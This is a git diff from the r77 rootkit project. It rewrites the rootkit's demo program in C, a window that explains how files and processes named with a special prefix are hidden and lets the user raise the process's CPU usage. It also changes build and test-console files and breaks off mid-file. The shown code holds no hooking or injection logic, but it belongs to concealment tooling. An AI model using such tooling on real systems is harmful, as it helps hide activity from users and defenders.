diff --git a/BuildTask/BuildTask.csproj b/BuildTask/BuildTask.csproj index 4039ec0..80b199f 100644 --- a/BuildTask/BuildTask.csproj +++ b/BuildTask/BuildTask.csproj @@ -6,7 +6,7 @@ enable - + diff --git a/Example/CpuUsage.cpp b/Example/CpuUsage.c similarity index 88% rename from Example/CpuUsage.cpp rename to Example/CpuUsage.c index c8d3efa..a608288 100644 --- a/Example/CpuUsage.cpp +++ b/Example/CpuUsage.c @@ -14,7 +14,7 @@ VOID InitializeCpuUsage() GetSystemInfo(&systemInfo); CpuUsageThreadCount = systemInfo.dwNumberOfProcessors; - CpuUsageThreads = new HANDLE[CpuUsageThreadCount]; + CpuUsageThreads = NEW_ARRAY(HANDLE, CpuUsageThreadCount); for (DWORD i = 0; i < CpuUsageThreadCount; i++) { @@ -30,7 +30,7 @@ VOID UninitializeCpuUsage() CloseHandle(CpuUsageThreads[i]); } - delete[] CpuUsageThreads; + FREE(CpuUsageThreads); } static DWORD WINAPI CpuUsageThreadFunc(LPVOID parameter) { diff --git a/Example/CpuUsage.h b/Example/CpuUsage.h index a3b51d7..06a4b65 100644 --- a/Example/CpuUsage.h +++ b/Example/CpuUsage.h @@ -1,4 +1,4 @@ -#include +#include "r77mindef.h" #ifndef _CPUUSAGE_H #define _CPUUSAGE_H diff --git a/Example/Example.c b/Example/Example.c new file mode 100644 index 0000000..2b818cd --- /dev/null +++ b/Example/Example.c @@ -0,0 +1,353 @@ +#define COBJMACROS +#include "Example.h" +#include "resource.h" +#include "CpuUsage.h" +#include "r77def.h" +#include "r77win.h" +#include +#include +#include + +int main() +{ + WCHAR executablePath[MAX_PATH + 1]; + GetModuleFileNameW(NULL, executablePath, MAX_PATH); + + LPWSTR fileName = PathFindFileNameW(executablePath); + + WCHAR processId[100]; + Int32ToStrW(GetCurrentProcessId(), processId); + + StrCpyW(Title, fileName); + StrCatW(Title, L" (PID: "); + StrCatW(Title, processId); + StrCatW(Title, L")"); + + if (!StrCmpNIW(fileName, HIDE_PREFIX, HIDE_PREFIX_LENGTH)) + { + WindowWidth = 460; + WindowHeight = 200; + ShowWarningIcon = FALSE; + + StrCpyW(Text, L"This executable's filename starts with \""); + StrCatW(Text, HIDE_PREFIX); + StrCatW(Text, L"\"\n\n"); + StrCatW(Text, L" - A task manager that is injected with r77 will not display this process.\n"); + StrCatW(Text, L" - File Explorer (or any other file browser) will not display this file.\n"); + StrCatW(Text, L" - etc... (see documentation)"); + } + else + { + WindowWidth = 400; + WindowHeight = 150; + ShowWarningIcon = TRUE; + + StrCpyW(Text, L"Rename this executable's file to start with \""); + StrCatW(Text, HIDE_PREFIX); + StrCatW(Text, L"\".\n"); + StrCatW(Text, L"It will be hidden by r77."); + } + + HRESULT result = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); + if (SUCCEEDED(result) || result == RPC_E_CHANGED_MODE) + { + TextFont = CreateFontW(16, 0, 0, 0, FW_DONTCARE, FALSE, FALSE, FALSE, DEFAULT_CHARSET, OUT_TT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, L"Segoe UI"); + TitleFont = CreateFontW(26, 0, 0, 0, FW_DONTCARE, FALSE, FALSE, FALSE, DEFAULT_CHARSET, OUT_TT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, L"Segoe UI"); + WhiteBrush = CreateSolidBrush(RGB(255, 255, 255)); + LightGrayBrush = CreateSolidBrush(RGB(240, 240, 240)); + LogoImage = GetImageResource(IDB_EXAMPLE32, "PNG"); + HelpImage = GetImageResource(IDB_HELP16, "PNG"); + WarningImage = GetImageResource(IDB_WARNING16, "PNG"); + + WNDCLASSW wc; + i_memset(&wc, 0, sizeof(wc)); + wc.hInstance = GetModuleHandleW(NULL); + wc.lpszClassName = L"R77EXAMPLE"; + wc.lpfnWndProc = WindowProc; + wc.hCursor = LoadCursorW(NULL, IDC_ARROW); + wc.hbrBackground = WhiteBrush; + + if (RegisterClassW(&wc)) + { + RECT rect; + SetRect(&rect, 0, 0, WindowWidth, WindowHeight); + + if (AdjustWindowRectEx(&rect, WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX, FALSE, WS_EX_DLGMODALFRAME)) + { + Window = CreateWindowExW(WS_EX_DLGMODALFRAME, wc.lpszClassName, L"r77 Rootkit Example File", WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX, CW_USEDEFAULT, CW_USEDEFAULT, rect.right - rect.left, rect.bottom - rect.top, NULL, NULL, wc.hInstance, NULL); + if (Window) + { + CpuUsageComboBox = CreateWindowW(WC_COMBOBOXW, NULL, WS_TABSTOP | WS_CHILD | WS_VISIBLE | CBS_DROPDOWNLIST, 15, WindowHeight - 35, 120, 200, Window, NULL, wc.hInstance, NULL); + SendMessageW(CpuUsageComboBox, WM_SETFONT, (WPARAM)TextFont, TRUE); + SendMessageW(CpuUsageComboBox, CB_ADDSTRING, 0, (LPARAM)L"CPU Usage: 0%"); + SendMessageW(CpuUsageComboBox, CB_ADDSTRING, 0, (LPARAM)L"CPU Usage: 25%"); + SendMessageW(CpuUsageComboBox, CB_ADDSTRING, 0, (LPARAM)L"CPU Usage: 50%"); + SendMessageW(CpuUsageComboBox, CB_ADDSTRING, 0, (LPARAM)L"CPU Usage: 75%"); + SendMessageW(CpuUsageComboBox, CB_ADDSTRING, 0, (LPARAM)L"CPU Usage: 100%"); + SendMessageW(CpuUsageComboBox, CB_SETCURSEL, 0, 0); + + HelpButton = CreateWindowW(WC_BUTTONW, L"", WS_TABSTOP | WS_CHILD | WS_VISIBLE | BS_OWNERDRAW, 140, WindowHeight - 35, 23, 23, Window, NULL, wc.hInstance, NULL); + + CloseButton = CreateWindowW(WC_BUTTONW, L"Close", WS_TABSTOP | WS_CHILD | WS_VISIBLE | BS_DEFPUSHBUTTON, WindowWidth - 90, WindowHeight - 35, 75, 23, Window, NULL, wc.hInstance, NULL); + SendMessageW(CloseButton, WM_SETFONT, (WPARAM)TextFont, TRUE); + + InitializeCpuUsage(); + + ShowWindow(Window, SW_SHOW); + UpdateWindow(Window); + + MSG msg; + BOOL messageResult; + + while ((messageResult = GetMessageW(&msg, NULL, 0, 0)) != 0) + { + if (messageResult == -1) + { + break; + } + + if (!IsDialogMessageW(Window, &msg)) + { + TranslateMessage(&msg); + DispatchMessageW(&msg); + } + } + + UninitializeCpuUsage(); + } + } + + UnregisterClassW(wc.lpszClassName, wc.hInstance); + } + + if (TextFont) DeleteObject(TextFont); + if (TitleFont) DeleteObject(TitleFont); + if (WhiteBrush) DeleteObject(WhiteBrush); + if (LightGrayBrush) DeleteObject(LightGrayBrush); + if (LogoImage) DeleteObject(LogoImage); + if (HelpImage) DeleteObject(HelpImage); + if (WarningImage) DeleteObject(WarningImage); + + CoUninitialize(); + } + + return 0; +} + +LRESULT CALLBACK WindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) +{ + switch (msg) + { + case WM_PAINT: + { + PAINTSTRUCT ps; + HDC hdc = BeginPaint(hwnd, &ps); + SetBkMode(hdc, TRANSPARENT); + + DrawBitmapAlpha(hdc, LogoImage, 20, 20); + + HFONT oldFont = (HFONT)SelectObject(hdc, TitleFont); + SetTextColor(hdc, RGB(0, 102, 204)); + TextOutW(hdc, 60, 20, Title, lstrlenW(Title)); + + if (ShowWarningIcon) + { + DrawBitmapAlpha(hdc, WarningImage, 60, 60); + } + + RECT rect; + if (ShowWarningIcon) + { + SetRect(&rect, 85, 60, WindowWidth - 45, WindowHeight - 50); + } + else + { + SetRect(&rect, 60, 60, WindowWidth - 20, WindowHeight - 50); + } + + SelectObject(hdc, TextFont); + SetTextColor(hdc, RGB(0, 0, 0)); + DrawTextW(hdc, Text, -1, &rect, DT_LEFT | DT_TOP | DT_WORDBREAK); + + SetRect(&rect, 0, WindowHeight - 45, WindowWidth, WindowHeight); + FillRect(hdc, &rect, LightGrayBrush); + + SelectObject(hdc, oldFont); + EndPaint(hwnd, &ps); + return 0; + } + case WM_DRAWITEM: + { + LPDRAWITEMSTRUCT drawItem = (LPDRAWITEMSTRUCT)lParam; + if (drawItem && drawItem->hwndItem == HelpButton) + { + BITMAP bitmap; + i_memset(&bitmap, 0, sizeof(bitmap)); + + if (GetObjectW(HelpImage, sizeof(bitmap), &bitmap)) + { + DrawBitmapAlpha(drawItem->hDC, HelpImage, drawItem->rcItem.left + (drawItem->rcItem.right - drawItem->rcItem.left - bitmap.bmWidth) / 2, drawItem->rcItem.top + (drawItem->rcItem.bottom - drawItem->rcItem.top - bitmap.bmHeight) / 2); + } + + return TRUE; + } + break; + } + case WM_COMMAND: + { + if ((HWND)lParam == CloseButton && HIWORD(wParam) == BN_CLICKED) + { + DestroyWindow(hwnd); + } + else if ((HWND)lParam == HelpButton && HIWORD(wParam) == BN_CLICKED) + { + MessageBoxW(hwnd, L"CPU usage is hidden by r77. To see the effect, increase CPU usage of this process.\r\n\r\nThis process is running with idle priority to not interrupt other tasks.", L"Help", MB_OK | MB_ICONINFORMATION); + } + else if ((HWND)lParam == CpuUsageComboBox && HIWORD(wParam) == CBN_SELCHANGE) + { + switch ((DWORD)SendMessageW(CpuUsageComboBox, CB_GETCURSEL, 0, 0)) + { + case 0: SetCpuUsage(0); break; + case 1: SetCpuUsage(25); break; + case 2: SetCpuUsage(50); break; + case 3: SetCpuUsage(75); break; + case 4: SetCpuUsage(100); break; + } + } + + return 0; + } + case WM_SETCURSOR: + { + if ((HWND)wParam == HelpButton) + { + SetCursor(LoadCursorW(NULL, IDC_HAND)); + return TRUE; + } + break; + } + case WM_DESTROY: + { + Window = NULL; + PostQuitMessage(0); + return 0; + } + } + + return DefWindowProcW(hwnd, msg, wParam, lParam); +} + +HBITMAP GetImageResource(DWORD resourceID, LPCSTR type) +{ + LPBYTE resourceData; + DWORD resourceSize; + + if (GetResource(resourceID, type, &resourceData, &resourceSize)) + { + HBITMAP bitmap = NULL; + + IWICImagingFactory *factory; + HRESULT result = CoCreateInstance(&CLSID_WICImagingFactory, NULL, CLSCTX_INPROC_SERVER, &IID_IWICImagingFactory, (LPVOID*)&factory); + if (SUCCEEDED(result)) + { + IWICStream *stream; + result = IWICImagingFactory_CreateStream(factory, &stream); + if (SUCCEEDED(result)) + { + result = IWICStream_InitializeFromMemory(stream, resourceData, resourceSize); + if (SUCCEEDED(result)) + { + IWICBitmapDecoder *decoder; + result = IWICImagingFactory_CreateDecoderFromStream(factory, (IStream*)stream, NULL, WICDecodeMetadataCacheOnLoad, &decoder); + if (SUCCEEDED(result)) + { + IWICBitmapFrameDecode *frame; + result = IWICBitmapDecoder_GetFrame(decoder, 0, &frame); + if (SUCCEEDED(result)) + { + IWICBitmapSource *convertedSource; + result = WICConvertBitmapSource(&GUID_WICPixelFormat32bppPBGRA, (IWICBitmapSource *)frame, &convertedSource); + if (SUCCEEDED(result)) + { + UINT width; + UINT height; + result = IWICBitmapSource_GetSize(convertedSource, &width, &height); + if (SUCCEEDED(result) && width > 0 && height > 0) + { + BITMAPINFO bitmapInfo; + i_memset(&bitmapInfo, 0, sizeof(bitmapInfo)); + bitmapInfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER); + bitmapInfo.bmiHeader.biWidth = (LONG)width; + bitmapInfo.bmiHeader.biHeight = -(LONG)height; + bitmapInfo.bmiHeader.biPlanes = 1; + bitmapInfo.bmiHeader.biBitCount = 32; + bitmapInfo.bmiHeader.biCompression = BI_RGB; + + LPVOID pixels; + bitmap = CreateDIBSection(NULL, &bitmapInfo, DIB_RGB_COLORS, &pixels, NULL, 0); + + if (bitmap && pixels) + { + result = IWICBitmapSource_CopyPixels(convertedSource, NULL, width * 4, width * 4 * height, (LPBYTE)pixels); + if (FAILED(result)) + { + DeleteObject(bitmap); + bitmap = NULL; + } + } + else if (bitmap) + { + DeleteObject(bitmap); + bitmap = NULL; + } + } + + IWICBitmapSource_Release(convertedSource); + } + + IWICBitmapFrameDecode_Release(frame); + } + + IWICBitmapDecoder_Release(decoder); + } + } + + IWICStream_Release(stream); + } + + IWICImagingFactory_Release(factory); + } + + return bitmap; + } + + return NULL; +} +VOID DrawBitmapAlpha(HDC destination, HBITMAP image, DWORD x, DWORD y) +{ + if (destination && image) + { + BITMAP bitmap; + i_memset(&bitmap, 0, sizeof(bitmap)); + + if (GetObjectW(image, sizeof(bitmap), &bitmap)) + { + HDC source = CreateCompatibleDC(destination); + if (source) + { + HGDIOBJ oldImage = SelectObject(source, image); + + BLENDFUNCTION blend; + blend.BlendOp = AC_SRC_OVER; + blend.BlendFlags = 0; + blend.SourceConstantAlpha = 255; + blend.AlphaFormat = AC_SRC_ALPHA; + + AlphaBlend(destination, x, y, bitmap.bmWidth, bitmap.bmHeight, source, 0, 0, bitmap.bmWidth, bitmap.bmHeight, blend); + SelectObject(source, oldImage); + + DeleteDC(source); + } + } + } +} \ No newline at end of file diff --git a/Example/Example.cpp b/Example/Example.cpp deleted file mode 100644 index 352663f..0000000 --- a/Example/Example.cpp +++ /dev/null @@ -1,255 +0,0 @@ -#include "Example.h" -#include "resource.h" -#include "CpuUsage.h" -#include "r77def.h" -#include - -extern "C" -{ -#include "r77win.h" -} - -int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) -{ - WCHAR executablePath[MAX_PATH + 1]; - if (FAILED(GetModuleFileNameW(NULL, executablePath, MAX_PATH))) return 0; - - LPWSTR fileName = PathFindFileNameW(executablePath); - - WCHAR processId[100]; - Int32ToStrW(GetCurrentProcessId(), processId); - - StrCpyW(Title, fileName); - StrCatW(Title, L" (PID: "); - StrCatW(Title, processId); - StrCatW(Title, L")"); - - if (!StrCmpNIW(fileName, HIDE_PREFIX, HIDE_PREFIX_LENGTH)) - { - WindowWidth = 460; - WindowHeight = 200; - ShowWarningIcon = false; - - StrCpyW(Text, L"This executable's filename starts with \""); - StrCatW(Text, HIDE_PREFIX); - StrCatW(Text, L"\"\n\n"); - StrCatW(Text, L" - A task manager that is injected with r77 will not display this process.\n"); - StrCatW(Text, L" - File Explorer (or any other file browser) will not display this file.\n"); - StrCatW(Text, L" - etc... (see documentation)"); - } - else - { - WindowWidth = 400; - WindowHeight = 150; - ShowWarningIcon = true; - - StrCpyW(Text, L"Rename this executable's file to start with \""); - StrCatW(Text, HIDE_PREFIX); - StrCatW(Text, L"\".\n"); - StrCatW(Text, L"It will be hidden by r77."); - } - - - - ULONG_PTR gdiToken; - GdiplusStartupInput gdiInput; - GdiplusStartup(&gdiToken, &gdiInput, NULL); - - WNDCLASSW wc = { }; - wc.hInstance = hInstance; - wc.lpszClassName = L"R77EXAMPLE"; - wc.lpfnWndProc = WindowProc; - RegisterClassW(&wc); - - Window = CreateWindowExW( - WS_EX_DLGMODALFRAME, - wc.lpszClassName, - L"r77 Rootkit Example File", - WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX, - CW_USEDEFAULT, - CW_USEDEFAULT, - WindowWidth, - WindowHeight, - NULL, - NULL, - hInstance, - NULL - ); - if (Window == NULL) return 0; - - TextFont = CreateFontW(16, 0, 0, 0, FW_DONTCARE, FALSE, FALSE, FALSE, ANSI_CHARSET, OUT_TT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, L"Segoe UI"); - TitleFont = CreateFontW(26, 0, 0, 0, FW_DONTCARE, FALSE, FALSE, FALSE, ANSI_CHARSET, OUT_TT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, L"Segoe UI"); - WhiteBrush = CreateSolidBrush(RGB(255, 255, 255)); - LightGrayBrush = CreateSolidBrush(RGB(240, 240, 240)); - LogoImage = GetImageResource(IDB_EXAMPLE32, "PNG"); - HelpImage = GetImageResource(IDB_HELP16, "PNG"); - WarningImage = GetImageResource(IDB_WARNING16, "PNG"); - - RECT windowRect = { 0, 0, WindowWidth, WindowHeight }; - AdjustWindowRect(&windowRect, GetWindowLongW(Window, GWL_STYLE), FALSE); - SetWindowPos(Window, NULL, 0, 0, windowRect.right - windowRect.left, windowRect.bottom - windowRect.top, SWP_NOMOVE); - SetClassLongPtrW(Window, GCLP_HBRBACKGROUND, (LONG_PTR)WhiteBrush); - ShowWindow(Window, nCmdShow); - - CpuUsageComboBox = CreateWindowW(WC_COMBOBOXW, NULL, WS_TABSTOP | WS_CHILD | WS_VISIBLE | CBS_DROPDOWNLIST, 15, WindowHeight - 35, 120, 23, Window, NULL, hInstance, NULL); - SendMessageW(CpuUsageComboBox, WM_SETFONT, (WPARAM)TextFont, TRUE); - SendMessageW(CpuUsageComboBox, CB_ADDSTRING, 0, (LPARAM)L"CPU Usage: 0%"); - SendMessageW(CpuUsageComboBox, CB_ADDSTRING, 0, (LPARAM)L"CPU Usage: 25%"); - SendMessageW(CpuUsageComboBox, CB_ADDSTRING, 0, (LPARAM)L"CPU Usage: 50%"); - SendMessageW(CpuUsageComboBox, CB_ADDSTRING, 0, (LPARAM)L"CPU Usage: 75%"); - SendMessageW(CpuUsageComboBox, CB_ADDSTRING, 0, (LPARAM)L"CPU Usage: 100%"); - SendMessageW(CpuUsageComboBox, CB_SETCURSEL, 0, 0); - - HelpButton = CreateWindowW(WC_STATICW, NULL, WS_CHILD | WS_VISIBLE | SS_BITMAP | SS_NOTIFY | SS_CENTERIMAGE, 140, WindowHeight - 35, 23, 23, Window, (HMENU)1, hInstance, NULL); - SendMessageW(HelpButton, STM_SETIMAGE, IMAGE_BITMAP, (LPARAM)HelpImage); - - CloseButton = CreateWindowW(WC_BUTTONW, L"Close", WS_TABSTOP | WS_CHILD | WS_VISIBLE | BS_DEFPUSHBUTTON, WindowWidth - 90, WindowHeight - 35, 75, 23, Window, NULL, hInstance, NULL); - SendMessageW(CloseButton, WM_SETFONT, (WPARAM)TextFont, TRUE); - - InitializeCpuUsage(); - - MSG msg; - while (GetMessageW(&msg, NULL, 0, 0)) - { - if (!IsDialogMessageW(Window, &msg)) - { - TranslateMessage(&msg); - DispatchMessageW(&msg); - } - } - - UninitializeCpuUsage(); - GdiplusShutdown(gdiToken); - return 0; -} -LRESULT CALLBACK WindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) -{ - switch (msg) - { - case WM_PAINT: - { - PAINTSTRUCT ps; - HDC hdc = BeginPaint(hwnd, &ps); - SetBkMode(hdc, TRANSPARENT); - HDC hdcMem = CreateCompatibleDC(hdc); - BITMAP bitmap; - - // Window logo - HBITMAP oldBitmap = (HBITMAP)SelectObject(hdcMem, LogoImage); - GetObject(LogoImage, sizeof(bitmap), &bitmap); - BitBlt(hdc, 20, 20, bitmap.bmWidth, bitmap.bmHeight, hdcMem, 0, 0, SRCCOPY); - - // Title - HFONT oldFont = (HFONT)SelectObject(hdc, TitleFont); - SetTextColor(hdc, RGB(0, 102, 204)); - TextOutW(hdc, 60, 20, Title, lstrlenW(Title)); - - // Warning icon - if (ShowWarningIcon) - { - SelectObject(hdcMem, WarningImage); - GetObject(WarningImage, sizeof(bitmap), &bitmap); - BitBlt(hdc, 60, 60, bitmap.bmWidth, bitmap.bmHeight, hdcMem, 0, 0, SRCCOPY); - } - - // Text - RECT rect; - - if (ShowWarningIcon) - { - rect = { 85, 60, WindowWidth - 45, WindowHeight - 50 }; - } - else - { - rect = { 60, 60, WindowWidth - 20, WindowHeight - 50 }; - } - - SelectObject(hdc, TextFont); - SetTextColor(hdc, RGB(0, 0, 0)); - DrawTextW(hdc, Text, -1, &rect, DT_LEFT | DT_TOP | DT_WORDBREAK); - - // Button row background - rect = { 0, WindowHeight - 45, WindowWidth, WindowHeight }; - FillRect(hdc, &rect, LightGrayBrush); - - SelectObject(hdc, oldFont); - SelectObject(hdcMem, oldBitmap); - DeleteDC(hdcMem); - EndPaint(hwnd, &ps); - } - break; - case WM_COMMAND: - if (lParam == (LPARAM)CloseButton) - { - DestroyWindow(hwnd); - } - else if (lParam == (LPARAM)HelpButton) - { - MessageBoxW(hwnd, L"CPU usage is hidden by r77. To see the effect, increase CPU usage of this process.\n\nThis process is running with idle priority to not interrupt other tasks.", L"Help", MB_OK | MB_ICONINFORMATION); - } - else if (lParam == (LPARAM)CpuUsageComboBox && HIWORD(wParam) == CBN_SELCHANGE) - { - switch ((int)SendMessageW(CpuUsageComboBox, CB_GETCURSEL, 0, 0)) - { - case 0: SetCpuUsage(0); break; - case 1: SetCpuUsage(25); break; - case 2: SetCpuUsage(50); break; - case 3: SetCpuUsage(75); break; - case 4: SetCpuUsage(100); break; - default: throw; - } - } - break; - case WM_SETCURSOR: - if ((HWND)wParam == HelpButton) - { - SetCursor(LoadCursorW(NULL, IDC_HAND)); - return TRUE; - } - else - { - SetCursor(LoadCursorW(NULL, IDC_ARROW)); - return TRUE; - } - case WM_DESTROY: - PostQuitMessage(0); - break; - default: - return DefWindowProcW(hwnd, msg, wParam, lParam); - } - - return 0; -} - -HBITMAP GetImageResource(DWORD resourceID, LPCSTR type) -{ - LPBYTE resourceData; - DWORD resourceSize; - - if (GetResource(resourceID, type, &resourceData, &resourceSize)) - { - return CreateImage(resourceData, resourceSize); - } - - return NULL; -} -HBITMAP CreateImage(LPCBYTE data, DWORD size) -{ - HBITMAP result = NULL; - - IStream *imageStream = SHCreateMemStream(data, size); - if (imageStream) - { - Bitmap *bitmap = new Bitmap(imageStream); - - if (bitmap->GetHBITMAP(Color::Transparent, &result) != Ok) - { - result = NULL; - } - - delete bitmap; - imageStream->Release(); - } - - return result; -} \ No newline at end of file diff --git a/Example/Example.h b/Example/Example.h index 80f6ad2..472d3ed 100644 --- a/Example/Example.h +++ b/Example/Example.h @@ -1,12 +1,9 @@ +#define CUSTOM_ENTRY #include "r77mindef.h" -#include -#include -#include -using namespace Gdiplus; -int WindowWidth; -int WindowHeight; -bool ShowWarningIcon; +DWORD WindowWidth; +DWORD WindowHeight; +BOOL ShowWarningIcon; WCHAR Title[500]; WCHAR Text[1000]; @@ -25,4 +22,4 @@ HBITMAP WarningImage; LRESULT CALLBACK WindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam); HBITMAP GetImageResource(DWORD resourceID, LPCSTR type); -HBITMAP CreateImage(LPCBYTE data, DWORD size); \ No newline at end of file +VOID DrawBitmapAlpha(HDC destination, HBITMAP image, DWORD x, DWORD y); \ No newline at end of file diff --git a/Example/Example.ico b/Example/Example.ico index 370332c..8e03a0c 100644 Binary files a/Example/Example.ico and b/Example/Example.ico differ diff --git a/Example/Example.vcxproj b/Example/Example.vcxproj index f286018..a508e44 100644 --- a/Example/Example.vcxproj +++ b/Example/Example.vcxproj @@ -47,16 +47,21 @@ Level3 - true + false WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp14 MultiThreadedDebug + CompileAsC + false + Default Windows true - ntdll.lib;shlwapi.lib;pathcch.lib;windowscodecs.lib + ntdll.lib;kernel32.lib;advapi32.lib;user32.lib;gdi32.lib;comctl32.lib;shlwapi.lib;ole32.lib;windowscodecs.lib;msimg32.lib;pathcch.lib + true + EntryPoint app.manifest %(AdditionalManifestFiles) @@ -80,12 +85,15 @@ copy /Y "$(TargetPath)" "$(SolutionDir)$Build/$77-Example.exe" Size MultiThreaded false + CompileAsC Windows false - ntdll.lib;shlwapi.lib;pathcch.lib;windowscodecs.lib + ntdll.lib;kernel32.lib;advapi32.lib;user32.lib;gdi32.lib;comctl32.lib;shlwapi.lib;ole32.lib;windowscodecs.lib;msimg32.lib;pathcch.lib false + true + EntryPoint app.manifest %(AdditionalManifestFiles) @@ -96,10 +104,6 @@ mkdir "$(SolutionDir)$Build" copy /Y "$(TargetPath)" "$(SolutionDir)$Build/$77-Example.exe" - - - - @@ -114,6 +118,10 @@ copy /Y "$(TargetPath)" "$(SolutionDir)$Build/$77-Example.exe" + + + + diff --git a/Example/Example.vcxproj.filters b/Example/Example.vcxproj.filters index b3724c3..b432581 100644 --- a/Example/Example.vcxproj.filters +++ b/Example/Example.vcxproj.filters @@ -1,9 +1,5 @@  - - - - @@ -29,4 +25,8 @@ {b159945d-1e18-467a-a043-231fed0759ac} + + + + \ No newline at end of file diff --git a/Install/Resource.rc b/Install/Install.rc similarity index 100% rename from Install/Resource.rc rename to Install/Install.rc diff --git a/Install/Install.vcxproj b/Install/Install.vcxproj index 1de6dfc..f245d1b 100644 --- a/Install/Install.vcxproj +++ b/Install/Install.vcxproj @@ -122,7 +122,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" - + diff --git a/Install/Install.vcxproj.filters b/Install/Install.vcxproj.filters index 418b921..be751f3 100644 --- a/Install/Install.vcxproj.filters +++ b/Install/Install.vcxproj.filters @@ -1,23 +1,23 @@ - - - - - {812009c3-0b86-4444-9ce5-09208fb015db} - - - - - - - - - - - - - - - Resources - - + + + + + {812009c3-0b86-4444-9ce5-09208fb015db} + + + + + + + + + + + + + + + Resources + + \ No newline at end of file diff --git a/TestConsole/TestConsole.csproj b/TestConsole/TestConsole.csproj index fe2d3d8..3474d62 100644 --- a/TestConsole/TestConsole.csproj +++ b/TestConsole/TestConsole.csproj @@ -22,12 +22,12 @@ r77 Test Console bytecode77 bytecode77 - © bytecode77, 2025. + © bytecode77, 2026. - - + + diff --git a/TestConsole/TestConsole.ico b/TestConsole/TestConsole.ico index 813fcbf..814055c 100644 Binary files a/TestConsole/TestConsole.ico and b/TestConsole/TestConsole.ico differ diff --git a/TestConsole/Windows/AboutDialog/AboutDialog.xaml b/TestConsole/Windows/AboutDialog/AboutDialog.xaml index 845b857..e29e91d 100644 --- a/TestConsole/Windows/AboutDialog/AboutDialog.xaml +++ b/TestConsole/Windows/AboutDialog/AboutDialog.xaml @@ -45,7 +45,7 @@ bytecode77/r77-rootkit - + \ No newline at end of file diff --git a/TestConsole/Windows/MainWindow/MainWindow.xaml b/TestConsole/Windows/MainWindow/MainWindow.xaml index 9c6035c..0a73232 100644 --- a/TestConsole/Windows/MainWindow/MainWindow.xaml +++ b/TestConsole/Windows/MainWindow/MainWindow.xaml @@ -9,7 +9,7 @@ xmlns:cui="http://schemas.bytecode77.com/2025/xaml/cui" xmlns:ctrl="clr-namespace:TestConsole.Controls" DataContext="{Binding ViewModel, ElementName=mainWindow}" - Title="r77 Test Console" Width="1250" Height="800" Padding="0" WindowStartupLocation="CenterScreen" ResizeMode="CanResizeWithGrip" Loaded="MainWindow_Loaded"> + Title="r77 Test Console" Width="1250" Height="800" Padding="0" WindowStartupLocation="CenterScreen" ResizeMode="CanResizeWithGrip" ui:WindowService.DisableTransitions="True" Loaded="MainWindow_Loaded"> diff --git a/TestConsole/Windows/MainWindow/MainWindow.xaml.cs b/TestConsole/Windows/MainWindow/MainWindow.xaml.cs index 8240016..5702379 100644 --- a/TestConsole/Windows/MainWindow/MainWindow.xaml.cs +++ b/TestConsole/Windows/MainWindow/MainWindow.xaml.cs @@ -18,6 +18,7 @@ private void MainWindow_Loaded(object sender, RoutedEventArgs e) ProcessesTabPage.Focus(); ViewModel.WriteInitialLogEntries(); + ViewModel.TerminateLauncher(); } public void OpenControlPipeTabPage() diff --git a/TestConsole/Windows/MainWindow/MainWindowViewModel.cs b/TestConsole/Windows/MainWindow/MainWindowViewModel.cs index 85a7b9b..7ca91cd 100644 --- a/TestConsole/Windows/MainWindow/MainWindowViewModel.cs +++ b/TestConsole/Windows/MainWindow/MainWindowViewModel.cs @@ -1,7 +1,9 @@ using BytecodeApi; +using BytecodeApi.Extensions; using BytecodeApi.IO; using BytecodeApi.Rest; using BytecodeApi.Wpf; +using BytecodeApi.Wpf.Services; using Global; using System.Diagnostics; using TestConsole.Helper; @@ -119,4 +121,27 @@ public void WriteInitialLogEntries() ); } } + public async void TerminateLauncher() + { + // The TestConsole launcher created this process and must be terminated. + + await Task.Run(async () => + { + await Task.Delay(250); + + using Process process = Process.GetCurrentProcess(); + using Process? parentProcess = process.GetParentProcess(); + + if (parentProcess?.ProcessName.Equals("TestConsole", StringComparison.OrdinalIgnoreCase) == true) + { + parentProcess.Kill(); + } + else + { + // TestConsole.exe was not started by the launcher, possibly by explorer. + } + + View.Dispatch(() => WindowService.SetDisableTransitions(View, false)); + }); + } } \ No newline at end of file diff --git a/TestConsole/Windows/MainWindow/SubControls/ControlPipeUserControl.xaml b/TestConsole/Windows/MainWindow/SubControls/ControlPipeUserControl.xaml index 382154b..07af561 100644 --- a/TestConsole/Windows/MainWindow/SubControls/ControlPipeUserControl.xaml +++ b/TestConsole/Windows/MainWindow/SubControls/ControlPipeUserControl.xaml @@ -12,8 +12,8 @@ xmlns:cui="http://schemas.bytecode77.com/2025/xaml/cui" DataContext="{Binding ViewModel, ElementName=controlPipeUserControl}"> - - + + diff --git a/TestConsoleLauncher/Resources/SplashScreen.png b/TestConsoleLauncher/Resources/SplashScreen.png new file mode 100644 index 0000000..f92f35d Binary files /dev/null and b/TestConsoleLauncher/Resources/SplashScreen.png differ diff --git a/TestConsoleLauncher/TestConsole.ico b/TestConsoleLauncher/TestConsole.ico index 813fcbf..814055c 100644 Binary files a/TestConsoleLauncher/TestConsole.ico and b/TestConsoleLauncher/TestConsole.ico differ diff --git a/TestConsoleLauncher/TestConsoleLauncher.c b/TestConsoleLauncher/TestConsoleLauncher.c index 4ed0d4c..f51d337 100644 --- a/TestConsoleLauncher/TestConsoleLauncher.c +++ b/TestConsoleLauncher/TestConsoleLauncher.c @@ -1,25 +1,32 @@ -#define CUSTOM_ENTRY +#define COBJMACROS +#include "TestConsoleLauncher.h" +#include "resource.h" #include "r77win.h" #include +#include int main() { - // TestConsole is written in 